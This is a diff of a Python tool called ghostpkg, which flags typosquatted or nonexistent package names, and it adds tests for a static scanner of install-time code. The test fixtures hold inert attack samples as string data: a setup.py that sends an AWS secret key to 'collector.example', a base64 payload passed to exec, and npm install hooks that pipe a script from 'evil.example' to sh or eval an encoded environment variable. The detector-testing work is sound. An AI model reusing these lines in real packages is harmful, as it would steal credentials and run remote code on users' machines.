     return PackageFacts(
         name=name,
         ecosystem="npm",
@@ -112,8 +128,10 @@ def fetch_npm(name: str) -> PackageFacts:
         age_days=age,
         release_count=len(versions),
         has_repo_url=bool(repository.get("url")) or bool(homepage),
-        latest_version=(payload.get("dist-tags") or {}).get("latest"),
+        latest_version=latest,
         summary=payload.get("description") or None,
+        archive_url=dist.get("tarball"),
+        archive_size=dist.get("unpackedSize"),
     )
 
 

{ghostpkg-0.4.0 → ghostpkg-0.6.0}/pyproject.toml

@@ -4,7 +4,7 @@ build-backend = "hatchling.build"
 
 [project]
 name = "ghostpkg"
-version = "0.4.0"
+version = "0.6.0"
 description = "Catch package names that do not exist before you install them"
 readme = "README.en.md"  # English page for PyPI; the repo main page is Ukrainian
 requires-python = ">=3.9"

{ghostpkg-0.4.0 → ghostpkg-0.6.0}/tests/test_assess.py

@@ -162,3 +162,61 @@ class TestNoFalsePositivesOnPopularNames:
     def test_no_popular_npm_name_is_flagged(self):
         flagged = [n for n in TOP_NPM if nearest_popular(n, "npm") is not None]
         assert flagged == []
+
+
+class TestAbandonedLookalikes:
+    """Age was the wrong gate for typo detection.
+
+    `expresss` has sat on npm since 2016 with one release, no repository link,
+    and roughly 2,500 downloads a month arriving purely from other people's
+    typos. It is ten years old, so an age gate let it straight through.
+    """
+
+    def old_squat(self, **overrides):
+        base = dict(
+            name="expresss",
+            ecosystem="npm",
+            exists=True,
+            age_days=3400,
+            release_count=1,
+            has_repo_url=False,
+        )
+        base.update(overrides)
+        return PackageFacts(**base)
+
+    def test_old_parked_lookalike_is_flagged(self):
+        finding = assess(self.old_squat())
+        assert finding.verdict is Verdict.WARN
+        assert any("express" in reason for reason in finding.reasons)
+
+    def test_reason_says_why_rather_than_calling_it_new(self):
+        finding = assess(self.old_squat())
+        assert any("one release, no repository" in r for r in finding.reasons)
+        assert not any("recently published" in r for r in finding.reasons)
+
+    def test_a_maintained_lookalike_is_left_alone(self):
+        """Sibling packages in a family sit close together -- dagster-k8s is two
+        edits from dagster-aws -- and they are maintained."""
+        finding = assess(self.old_squat(release_count=630, has_repo_url=True))
+        assert finding.verdict is Verdict.OK
+
+    def test_releases_alone_are_not_enough_to_fire(self):
+        """Measured on 120 real lookalike-shaped packages, few-releases alone
+        was wrong 10% of the time."""
+        finding = assess(self.old_squat(release_count=1, has_repo_url=True))
+        assert not any("away from" in r for r in finding.reasons)
+
+    def test_missing_repo_alone_is_not_enough_to_fire(self):
+        """And no-repository alone was wrong 5.8% of the time."""
+        finding = assess(self.old_squat(release_count=40, has_repo_url=False))
+        assert not any("away from" in r for r in finding.reasons)
+
+    def test_a_defensively_held_name_passes(self):
+        """npm parks some names itself, with a repository link on the holder."""
+        finding = assess(
+            PackageFacts(
+                name="lodahs", ecosystem="npm", exists=True, age_days=2100,
+                release_count=1, has_repo_url=True,
+            )
+        )
+        assert finding.verdict is Verdict.OK

ghostpkg-0.6.0/tests/test_inspection.py

@@ -0,0 +1,217 @@
+"""Tests for static inspection of install-time code.
+
+Archives are built in memory, so the suite stays offline. Nothing here executes
+any of the sample code -- the module it tests only ever reads text.
+
+The malicious samples are shaped after publicly documented slopsquat setup.py
+and npm install-hook patterns. They are deliberately inert.
+"""
+
+from __future__ import annotations
+
+import io
+import json
+import tarfile
+import zipfile
+
+import pytest
+
+from ghostpkg.assess import Verdict, assess
+from ghostpkg.inspection import (
+    MAX_ARCHIVE_BYTES,
+    InspectionError,
+    inspect_archive,
+    scan_text,
+)
+from ghostpkg.registries import PackageFacts
+
+
+# SAFETY: the strings below are sample *data*, not code. They are written into
+# in-memory tar/zip archives and then pattern-matched as text. Nothing in this
+# file -- or in the module it tests -- ever imports, compiles or executes them.
+# They exist so the detector can be proved to fire on the shapes that matter.
+
+
+def sdist(setup_py: str, extra: dict | None = None) -> bytes:
+    buffer = io.BytesIO()
+    with tarfile.open(fileobj=buffer, mode="w:gz") as archive:
+        for path, text in {"pkg-1.0/setup.py": setup_py, **(extra or {})}.items():
+            data = text.encode()
+            info = tarfile.TarInfo(path)
+            info.size = len(data)
+            archive.addfile(info, io.BytesIO(data))
+    return buffer.getvalue()
+
+
+def npm_tarball(scripts: dict) -> bytes:
+    buffer = io.BytesIO()
+    with tarfile.open(fileobj=buffer, mode="w:gz") as archive:
+        data = json.dumps({"name": "x", "version": "1.0.0", "scripts": scripts}).encode()
+        info = tarfile.TarInfo("package/package.json")
+        info.size = len(data)
+        archive.addfile(info, io.BytesIO(data))
+    return buffer.getvalue()
+
+
+class TestCatchesMaliciousShapes:
+    def test_environment_read_sent_over_the_network(self):
+        signals = inspect_archive(
+            sdist(
+                "import os, urllib.request\n"
+                "key = os.environ.get('AWS_SECRET_ACCESS_KEY')\n"
+                "urllib.request.urlopen('http://collector.example/x?d=' + str(key))\n"
+            ),
+            "pypi",
+        )
+        assert "exfiltration" in {s.kind for s in signals}
+
+    def test_decoded_payload_executed(self):
+        signals = inspect_archive(
+            sdist("import base64\nexec(base64.b64decode('aW1wb3J0IG9z'))\n"), "pypi"
+        )
+        kinds = {s.kind for s in signals}
+        assert "encoded-payload" in kinds
+        assert "dynamic-exec" in kinds
+
+    def test_shell_command_at_install(self):
+        signals = inspect_archive(
+            sdist("import subprocess\nsubprocess.Popen(['sh', '-c', 'id'])\n"), "pypi"
+        )
+        assert "subprocess" in {s.kind for s in signals}
+
+    def test_large_encoded_blob(self):
+        blob = "QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVowMTIzNDU2Nzg5" * 6
+        signals = inspect_archive(sdist(f'PAYLOAD = "{blob}"\n'), "pypi")
+        assert "encoded-payload" in {s.kind for s in signals}
+
+    def test_npm_postinstall_piping_to_shell(self):
+        signals = inspect_archive(
+            npm_tarball({"postinstall": "curl -s http://evil.example/i.sh | sh"}), "npm"
+        )
+        assert signals
+
+    def test_npm_preinstall_decoding_from_env(self):
+        signals = inspect_archive(
+            npm_tarball(
+                {"preinstall": "node -e \"eval(Buffer.from(process.env.X,'base64'))\""}
+            ),
+            "npm",
+        )
+        assert signals
+
+
+class TestLeavesLegitimateCodeAlone:
+    """Measured against real packages this flagged 0 of 27 established and 0 of
+    32 published-that-day. These are the shapes that made earlier, looser
+    patterns fire."""
+
+    def test_ordinary_setup_py(self):
+        assert not inspect_archive(
+            sdist(
+                "from setuptools import setup, find_packages\n"
+                "setup(name='x', version='1.0', packages=find_packages(),\n"
+                "      install_requires=['requests>=2'])\n"
+            ),
+            "pypi",
+        )
+
+    def test_version_read_with_exec(self):
+        """A very common idiom: exec a _version.py to read __version__."""
+        assert not inspect_archive(
+            sdist(
+                "version = {}\n"
+                "with open('pkg/_version.py') as f:\n"
+                "    exec(f.read(), version)\n"
+            ),
+            "pypi",
+        )
+
+    def test_reads_a_build_flag_from_the_environment(self):
+        """Inspecting build flags is ordinary; it fired on flask, pyyaml and
+        setuptools when environment reads were a signal on their own."""
+        assert not inspect_archive(
+            sdist("import os\nEXT = not os.environ.get('NO_EXT')\n"), "pypi"
+        )
+
+    def test_npm_without_install_hooks(self):
+        assert not inspect_archive(
+            npm_tarball({"build": "tsc", "test": "jest", "start": "node ."}), "npm"
+        )
+
+    def test_test_files_are_not_install_time(self):
+        """conftest.py runs during testing, never on install. Scanning it was a
+        mistake in the first version."""
+        assert not inspect_archive(
+            sdist(
+                "from setuptools import setup\nsetup(name='x')\n",
+                extra={"pkg-1.0/conftest.py": "import subprocess\nsubprocess.run(['x'])\n"},
+            ),
+            "pypi",
+        )
+
+
+class TestArchiveHandling:
+    def test_zip_archives_are_read(self):
+        buffer = io.BytesIO()
+        with zipfile.ZipFile(buffer, "w") as archive:
+            archive.writestr("pkg-1.0/setup.py", "import subprocess\nsubprocess.run([])\n")
+        assert inspect_archive(buffer.getvalue(), "pypi")
+
+    def test_unreadable_archive_raises_inspection_error(self):
+        with pytest.raises(InspectionError):
+            inspect_archive(b"this is not an archive at all", "pypi")
+
+    def test_oversized_member_is_skipped_not_read(self):
+        """Guards against a decompression bomb rather than trusting the size."""
+        huge = "import subprocess\n" + ("# padding\n" * 200000)
+        assert not inspect_archive(sdist(huge), "pypi")
+
+    def test_download_limit_is_bounded(self):
+        assert MAX_ARCHIVE_BYTES <= 16 * 1024 * 1024
+
+    def test_each_signal_kind_reported_once(self):
+        signals = inspect_archive(
+            sdist("import subprocess\nsubprocess.run([])\nsubprocess.Popen([])\n"), "pypi"
+        )
+        assert len({s.kind for s in signals}) == len(signals)
+
+    def test_scan_text_names_where_it_looked(self):
+        signals = scan_text("import subprocess\nsubprocess.run([])\n", "setup.py")
+        assert signals[0].where == "setup.py"
+        assert "setup.py" in str(signals[0])
+
+
+class TestVerdictPolicy:
+    def facts(self, **overrides):
+        base = dict(
+            name="example",
+            ecosystem="pypi",
+            exists=True,
+            age_days=5,
+            release_count=1,
+            has_repo_url=False,
+        )
+        base.update(overrides)
+        return PackageFacts(**base)
+
+    def signal(self):
+        return scan_text("import subprocess\nsubprocess.run([])\n", "setup.py")
+
+    def test_young_package_with_install_signals_is_blocked(self):
+        """Unlike age, this measured as specific enough to block: 0 false
+        positives across 59 real packages, all 6 malicious shapes caught."""
+        finding = assess(self.facts(), signals=self.signal())
+        assert finding.verdict is Verdict.BLOCK
+
+    def test_established_package_with_install_signals_only_warns(self):
+        """Old packages do sometimes build things at install time, and the
+        sample behind this judgement is small."""
+        finding = assess(self.facts(age_days=3000), signals=self.signal())
+        assert finding.verdict is Verdict.WARN
+
+    def test_no_signals_keeps_the_previous_behaviour(self):
+        assert assess(self.facts(), signals=[]).verdict is Verdict.WARN
+
+    def test_the_evidence_is_reported(self):
+        finding = assess(self.facts(), signals=self.signal())
+        assert any("setup.py" in reason for reason in finding.reasons)